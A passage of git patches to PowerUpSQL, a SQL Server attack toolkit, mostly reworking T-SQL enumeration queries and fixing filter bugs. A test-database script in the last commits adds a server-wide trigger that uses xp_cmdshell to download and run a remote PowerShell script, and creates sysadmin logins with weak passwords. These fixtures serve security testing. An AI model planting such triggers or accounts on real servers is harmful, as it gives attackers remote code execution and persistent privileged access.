- LEN(REPLACE(TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' - WHEN TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' - WHEN TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' - ELSE TABLE_TYPE - END AS Table_Type - FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] - $TableFilter + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS Table_Type, + s.is_ms_shipped, + s.is_published, + s.is_schema_published, + s.create_date, + s.modify_date AS modified_date + FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] t + JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) + JOIN sys.objects s ON st.object_id = s.object_id + $TableFilter ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" # Execute Query From e67b5f8a29797fafc715470658ed2e811b51aa00 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 10:16:44 -0500 Subject: [PATCH 29/60] Update Get-Column.sql --- templates/tsql/Get-Column.sql | 31 ++++++++++++++++++++++++++----- 1 file changed, 26 insertions(+), 5 deletions(-) diff --git a/templates/tsql/Get-Column.sql b/templates/tsql/Get-Column.sql index 43e80f3..4f5c250 100644 --- a/templates/tsql/Get-Column.sql +++ b/templates/tsql/Get-Column.sql @@ -2,8 +2,29 @@ -- Description: Get list of columns for the current database. -- Reference: https://msdn.microsoft.com/en-us/library/ms188348.aspx -SELECT TABLE_CATALOG AS [DATABASE_NAME], - TABLE_SCHEMA as [SCHEMA_NAME], - TABLE_NAME,COLUMN_NAME, - DATA_TYPE -FROM [INFORMATION_SCHEMA].[COLUMNS] +SELECT + @@servername as [INSTANCE_NAME], + t.TABLE_CATALOG AS [DATABASE_NAME], + t.TABLE_SCHEMA AS [SCHEMA_NAME], + t.TABLE_NAME, + CASE + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS Table_Type, + c.COLUMN_NAME, + c.DATA_TYPE, + st.is_ms_shipped, + st.is_published, + st.is_schema_published, + st.create_date, + st.modify_date AS modified_date +FROM [INFORMATION_SCHEMA].[TABLES] t +JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) +JOIN sys.objects s ON st.object_id = s.object_id +LEFT JOIN sys.extended_properties ep ON s.object_id = ep.major_id + AND ep.minor_id = 0 +JOIN [INFORMATION_SCHEMA].[COLUMNS] c ON t.TABLE_NAME = c.TABLE_NAME AND t.TABLE_SCHEMA = c.TABLE_SCHEMA +ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME, c.ORDINAL_POSITION; + From d2d30581a30315d13b1900e9df342b7df96d8738 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 10:19:26 -0500 Subject: [PATCH 30/60] Update Get-Table.sql --- templates/tsql/Get-Table.sql | 32 ++++++++++++++++++++++---------- 1 file changed, 22 insertions(+), 10 deletions(-) diff --git a/templates/tsql/Get-Table.sql b/templates/tsql/Get-Table.sql index 95b4701..9e45137 100644 --- a/templates/tsql/Get-Table.sql +++ b/templates/tsql/Get-Table.sql @@ -2,13 +2,25 @@ -- Description: Returns a list of tables for the current database. -- Reference: https://msdn.microsoft.com/en-us/library/ms186224.aspx -SELECT TABLE_CATALOG AS [DATABASE_NAME], - TABLE_SCHEMA AS [SCHEMA_NAME], - TABLE_NAME, - CASE - WHEN (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' - WHEN TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' - WHEN TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' - ELSE TABLE_TYPE - END AS Table_Type -FROM [INFORMATION_SCHEMA].[TABLES] +SELECT + @@SERVERNAME AS [INSTANCE_NAME], + t.TABLE_CATALOG AS [DATABASE_NAME], + t.TABLE_SCHEMA AS [SCHEMA_NAME], + t.TABLE_NAME, + CASE + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS Table_Type, + st.is_ms_shipped, + st.is_published, + st.is_schema_published, + st.create_date, + st.modify_date AS modified_date +FROM [INFORMATION_SCHEMA].[TABLES] t +JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) +JOIN sys.objects s ON st.object_id = s.object_id +LEFT JOIN sys.extended_properties ep ON s.object_id = ep.major_id + AND ep.minor_id = 0 +ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME; From d0e3a3d84c23d189398f6ad28b88268f040baf72 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 10:24:14 -0500 Subject: [PATCH 31/60] Create New-TempTableSample.sql --- templates/tsql/New-TempTableSample.sqk | 46 ++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 templates/tsql/New-TempTableSample.sqk diff --git a/templates/tsql/New-TempTableSample.sqk b/templates/tsql/New-TempTableSample.sqk new file mode 100644 index 0000000..44a13d9 --- /dev/null +++ b/templates/tsql/New-TempTableSample.sqk @@ -0,0 +1,46 @@ +-- Create sample table variables and local/global temp tables + +-- Create global temporary table +IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL) +CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); + +-- Insert records global temporary table +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') +INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') +GO + +-- Query global temporary table +SELECT * +FROM ##GlobalTempTbl +GO + +-- Create local temporary table +IF (OBJECT_ID('tempdb..#LocalTempTbl') IS NULL) +CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); +-- Insert records local temporary table +INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') +INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') +INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') +INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') +GO +-- Query local temporary table +SELECT * +FROM #LocalTempTbl +GO + +-- Create table variable +If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable') +DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); + +-- Insert records into table variable +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') +INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') + +-- Query table variable in same batch +SELECT * +FROM @table_variable +GO From c989c718589e10c610648ab8c5611f6b59d6480c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 10:53:58 -0500 Subject: [PATCH 32/60] Update PowerUpSQL.ps1 --- PowerUpSQL.ps1 | 51 +++++++++++++++++++++++++++++++++----------------- 1 file changed, 34 insertions(+), 17 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 902c2ee..e60be38 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.118 + Version: 1.119 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -5047,7 +5047,7 @@ Function Get-SQLColumn # Setup table filter if($TableName) { - $TableNameFilter = " and TABLE_NAME like '%$TableName%'" + $TableNameFilter = " and t.TABLE_NAME like '%$TableName%'" } else { @@ -5057,7 +5057,7 @@ Function Get-SQLColumn # Setup column filter if($ColumnName) { - $ColumnFilter = " and column_name like '$ColumnName'" + $ColumnFilter = " and c.COLUMN_NAME like '$ColumnName'" } else { @@ -5067,7 +5067,7 @@ Function Get-SQLColumn # Setup column filter if($ColumnNameSearch) { - $ColumnSearchFilter = " and column_name like '%$ColumnNameSearch%'" + $ColumnSearchFilter = " and c.COLUMN_NAME like '%$ColumnNameSearch%'" } else { @@ -5087,11 +5087,11 @@ Function Get-SQLColumn if($i -eq ($Keywords.Count -1)) { - $ColumnSearchFilter = "and column_name like '%$Keyword%'" + $ColumnSearchFilter = "and c.COLUMN_NAME like '%$Keyword%'" } else { - $ColumnSearchFilter = $ColumnSearchFilter + " or column_name like '%$Keyword%'" + $ColumnSearchFilter = $ColumnSearchFilter + " or c.COLUMN_NAME like '%$Keyword%'" } } } @@ -5152,17 +5152,34 @@ Function Get-SQLColumn $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - TABLE_CATALOG AS [DatabaseName], - TABLE_SCHEMA AS [SchemaName], - TABLE_NAME as [TableName], - COLUMN_NAME as [ColumnName], - DATA_TYPE as [ColumnDataType], - CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength] - FROM [$DbName].[INFORMATION_SCHEMA].[COLUMNS] WHERE 1=1 - $ColumnSearchFilter - $ColumnFilter - $TableNameFilter - ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" + t.TABLE_CATALOG AS [DatabaseName], + t.TABLE_SCHEMA AS [SchemaName], + t.TABLE_NAME as [TableName], + CASE + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS [TableType], + c.COLUMN_NAME as [ColumnName], + c.DATA_TYPE as [ColumnDataType], + c.CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength], + st.is_ms_shipped, + st.is_published, + st.is_schema_published, + st.create_date, + st.modify_date AS modified_date + FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] t + JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) + JOIN sys.objects s ON st.object_id = s.object_id + LEFT JOIN sys.extended_properties ep ON s.object_id = ep.major_id + AND ep.minor_id = 0 + JOIN [$DbName].[INFORMATION_SCHEMA].[COLUMNS] c ON t.TABLE_NAME = c.TABLE_NAME AND t.TABLE_SCHEMA = c.TABLE_SCHEMA + WHERE 1=1 + $ColumnSearchFilter + $ColumnFilter + $TableNameFilter + ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME, c.ORDINAL_POSITION" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose From 8f6be811a9b6c9f1ad5fe1480bd4f555d3213d05 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 11:48:34 -0500 Subject: [PATCH 33/60] Update PowerUpSQL.ps1 Fixed filter bug in Get-SqlTable function. --- PowerUpSQL.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index e60be38..3749450 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.119 + Version: 1.120 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -4660,7 +4660,7 @@ Function Get-SQLTable # Setup table filter if($TableName) { - $TableFilter = " WHERE TABLE_NAME like '%$TableName%'" + $TableFilter = " WHERE t.TABLE_NAME like '%$TableName%'" } else { From fab0fc032c54ec612ebe18d3b62771903615a154 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 15:25:21 -0500 Subject: [PATCH 34/60] Update PowerUpSQL.ps1 Fixed export2 bug on Get-SQLServerLinkCrawl function --- PowerUpSQL.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 3749450..ccd7d0e 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.120 + Version: 1.121 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -15600,12 +15600,12 @@ Function Get-SQLServerLinkCrawl{ # Return exportable format 2 if($Export2){ - $LinkList = $output | + $LinkList = $List | foreach { [string]$StringLinkPath = "" $Path = $_.path $PathCount = $Path.count - 1 - $LinkSrc = $Path[$PathCount - 1] + $LinkSrc = $Path[$PathCount -1] $LinkDes = $Path[$PathCount] $LinkUser = $_.user $LinkDesSysadmin = $_.Sysadmin From 4f39c384ef6acfddc0a47a503b38e09c47311e44 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 15:51:22 -0500 Subject: [PATCH 35/60] Update PowerUpSQL.ps1 Fixed Get-SqlTable bug. --- PowerUpSQL.ps1 | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index ccd7d0e..0ad3de7 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.121 + Version: 1.122 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -4660,7 +4660,7 @@ Function Get-SQLTable # Setup table filter if($TableName) { - $TableFilter = " WHERE t.TABLE_NAME like '%$TableName%'" + $TableFilter = " WHERE t.TableName like '%$TableName%'" } else { @@ -4729,15 +4729,15 @@ Function Get-SQLTable $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - t.TABLE_CATALOG AS [DATABASE_NAME], - t.TABLE_SCHEMA AS [SCHEMA_NAME], - t.TABLE_NAME AS [TABLE_NAME], + t.TABLE_CATALOG AS [DatabaseName], + t.TABLE_SCHEMA AS [SchemaName], + t.TABLE_NAME AS [TableName], CASE WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' ELSE t.TABLE_TYPE - END AS Table_Type, + END AS TableType, s.is_ms_shipped, s.is_published, s.is_schema_published, @@ -4747,7 +4747,7 @@ Function Get-SQLTable JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) JOIN sys.objects s ON st.object_id = s.object_id $TableFilter - ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" + ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose From c9e8b387d2f31280c9a612cb847c8eaa5097eca5 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 16:06:24 -0500 Subject: [PATCH 36/60] Update PowerUpSQL.ps1 Fixed Get-SqlDatabseSchema bug. --- PowerUpSQL.ps1 | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 0ad3de7..8434310 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.122 + Version: 1.123 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -5797,7 +5797,7 @@ Function Get-SQLDatabaseSchema # Setup schema filter if($SchemaName) { - $SchemaNameFilter = " where schema_name like '%$SchemaName%'" + $SchemaNameFilter = " where s.name like '%$SchemaName%'" } else { @@ -5863,11 +5863,11 @@ Function Get-SQLDatabaseSchema $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - DB_NAME() AS database_name, - s.schema_id AS schema_id, - s.name AS schema_name, - s.principal_id AS owner_id, - USER_NAME(s.principal_id) AS owner_name + DB_NAME() AS [DatabaseName], + s.schema_id AS [SchemaId], + s.name AS [SchemaName], + s.principal_id AS [OwnerId], + USER_NAME(s.principal_id) AS [OwnerName] FROM sys.schemas AS s JOIN From a2381824c77aef89fdea4c51028f8fb484fbb534 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 16:23:34 -0500 Subject: [PATCH 37/60] Update PowerUpSQL.ps1 Fixed Get-SqlDatabaseSchema bug. --- PowerUpSQL.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 8434310..964c85d 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.123 + Version: 1.124 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -5875,7 +5875,7 @@ Function Get-SQLDatabaseSchema ON s.name = i.SCHEMA_NAME $SchemaNameFilter - ORDER BY schema_name;" + ORDER BY s.name;" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose @@ -5889,9 +5889,9 @@ Function Get-SQLDatabaseSchema { # Return data if($ShowRoleSchemas){ - $TblResults + $TblSchemas }else{ - $TblResults | Where schema_id -lt 1000 + $TblSchemas | Where SchemaId -lt 1000 } } } From 8312cba0955059030231b7b90f7f687438b7ad59 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 21:02:47 -0500 Subject: [PATCH 38/60] Update PowerUpSQL.ps1 Added schemaname to Get-SQLStoredProcedureXP output --- PowerUpSQL.ps1 | 55 +++++++++++++++++++++++++------------------------- 1 file changed, 28 insertions(+), 27 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 964c85d..a2a4007 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.124 + Version: 1.125 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -13043,32 +13043,33 @@ Function Get-SQLStoredProcedureXP '$Instance' as [Instance], '$DbName' as [DatabaseName], o.object_id, - o.parent_object_id, - o.schema_id, - o.type, - o.type_desc, - o.name, - o.principal_id, - s.text, - s.ctext, - s.status, - o.create_date, - o.modify_date, - o.is_ms_shipped, - o.is_published, - o.is_schema_published, - s.colid, - s.compressed, - s.encrypted, - s.id, - s.language, - s.number, - s.texttype - FROM sys.objects o - INNER JOIN sys.syscomments s - ON o.object_id = s.id - WHERE o.type = 'x' - $ProcedureNameFilter" + o.parent_object_id, + o.schema_id, + sc.name AS schema_name, + o.type, + o.type_desc, + o.name, + o.principal_id, + s.text, + s.ctext, + s.status, + o.create_date, + o.modify_date, + o.is_ms_shipped, + o.is_published, + o.is_schema_published, + s.colid, + s.compressed, + s.encrypted, + s.id, + s.language, + s.number, + s.texttype + FROM sys.objects o + INNER JOIN sys.syscomments s ON o.object_id = s.id + INNER JOIN sys.schemas sc ON o.schema_id = sc.schema_id + WHERE o.type = 'x' + $ProcedureNameFilter" # Execute Query $TblXpProcsTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose From 80a32235271f6bf6dde291f75d5c8989bb3bddcf Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 21:12:54 -0500 Subject: [PATCH 39/60] Update PowerUpSQL.ps1 Base64 ctext value of Get-SQLStoredProcedureXP output. --- PowerUpSQL.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index a2a4007..7102083 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.125 + Version: 1.126 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -13051,7 +13051,7 @@ Function Get-SQLStoredProcedureXP o.name, o.principal_id, s.text, - s.ctext, + CAST(s.ctext AS NVARCHAR(MAX)) AS ctext, s.status, o.create_date, o.modify_date, From 71f4e8072020e9dff3980a926694e610b608a098 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 21 May 2024 08:29:47 -0500 Subject: [PATCH 40/60] Update pesterdb.sql Add trigger that uses global temp tables --- tests/pesterdb.sql | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index deaafb7..833ce9a 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -677,6 +677,32 @@ if (select count(*) from sys.sql_logins where name like 'SysAdmin_DML') = 0 EXEC sp_addsrvrolemember 'SysAdmin_DML', 'sysadmin'; GO +-- Create a DML trigger that uses Global Temp tables + +USE testdb3; +GO + +CREATE TRIGGER trg_InsertHello +ON NOCList +AFTER INSERT +AS +BEGIN + -- Create a global temporary table + CREATE TABLE ##GlobalTempTable ( + Message NVARCHAR(100) + ); + + -- Insert the word "hello" into the global temporary table + INSERT INTO ##GlobalTempTable (Message) + VALUES ('hello'); + + -- Optionally, you can select from the global temporary table to verify insertion + SELECT * FROM ##GlobalTempTable; + + -- Drop the global temporary table + DROP TABLE ##GlobalTempTable; +END; +GO ------------------------------------------------------------ -- Create Test Keys, Certificates, and Cert Logins From 917c835de96579eda994d753cde351b17f40140e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 21 May 2024 08:33:10 -0500 Subject: [PATCH 41/60] Update pesterdb.sql --- tests/pesterdb.sql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index 833ce9a..ce9bf03 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -682,7 +682,7 @@ GO USE testdb3; GO -CREATE TRIGGER trg_InsertHello +CREATE TRIGGER trigger_dml_gtt ON NOCList AFTER INSERT AS From f08c50d45d4d6f7411b4a19f1e994ea7cf41ce5a Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 21 May 2024 08:38:21 -0500 Subject: [PATCH 42/60] Update pesterdb.sql Added ddl trigger that uses global temp tables. --- tests/pesterdb.sql | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index ce9bf03..9ebf28a 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -703,6 +703,46 @@ BEGIN DROP TABLE ##GlobalTempTable; END; GO + +-- Create a DDL trigger that uses Global Temp tables + +CREATE TRIGGER [trigger_ddl_gtt] +ON ALL SERVER +FOR DDL_LOGIN_EVENTS +AS +BEGIN + -- Create a global temporary table to store the URLs if it doesn't already exist + IF OBJECT_ID('tempdb..##GlobalTempTableUrls') IS NULL + BEGIN + CREATE TABLE ##GlobalTempTableUrls ( + Url NVARCHAR(4000) + ); + END; + + -- Insert the URL into the global temporary table + INSERT INTO ##GlobalTempTableUrls (Url) + VALUES ('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/trigger_demo_ddl.ps1'); + + -- Use xp_cmdshell to run a PowerShell command that uses the URL from the global temporary table + DECLARE @Url NVARCHAR(4000); + SELECT TOP 1 @Url = Url FROM ##GlobalTempTableUrls; + + DECLARE @Cmd NVARCHAR(4000); + SET @Cmd = 'Powershell -c "IEX (New-Object Net.WebClient).DownloadString(''' + @Url + ''')"'; + + EXEC master..xp_cmdshell @Cmd; + + -- Add a sysadmin named 'SysAdmin_DDL' if it doesn't exist + IF (SELECT COUNT(name) FROM sys.sql_logins WHERE name LIKE 'SysAdmin_DDL') = 0 + BEGIN + -- Create a login + CREATE LOGIN SysAdmin_DDL WITH PASSWORD = 'SysAdmin_DDL', CHECK_POLICY = OFF; + + -- Add the login to the sysadmin fixed server role + EXEC sp_addsrvrolemember 'SysAdmin_DDL', 'sysadmin'; + END; +END; +GO ------------------------------------------------------------ -- Create Test Keys, Certificates, and Cert Logins From 062517a6d4c6c56ea45add3d28f5844a2761c36e Mon Sep 17 00:00:00 2001 From: 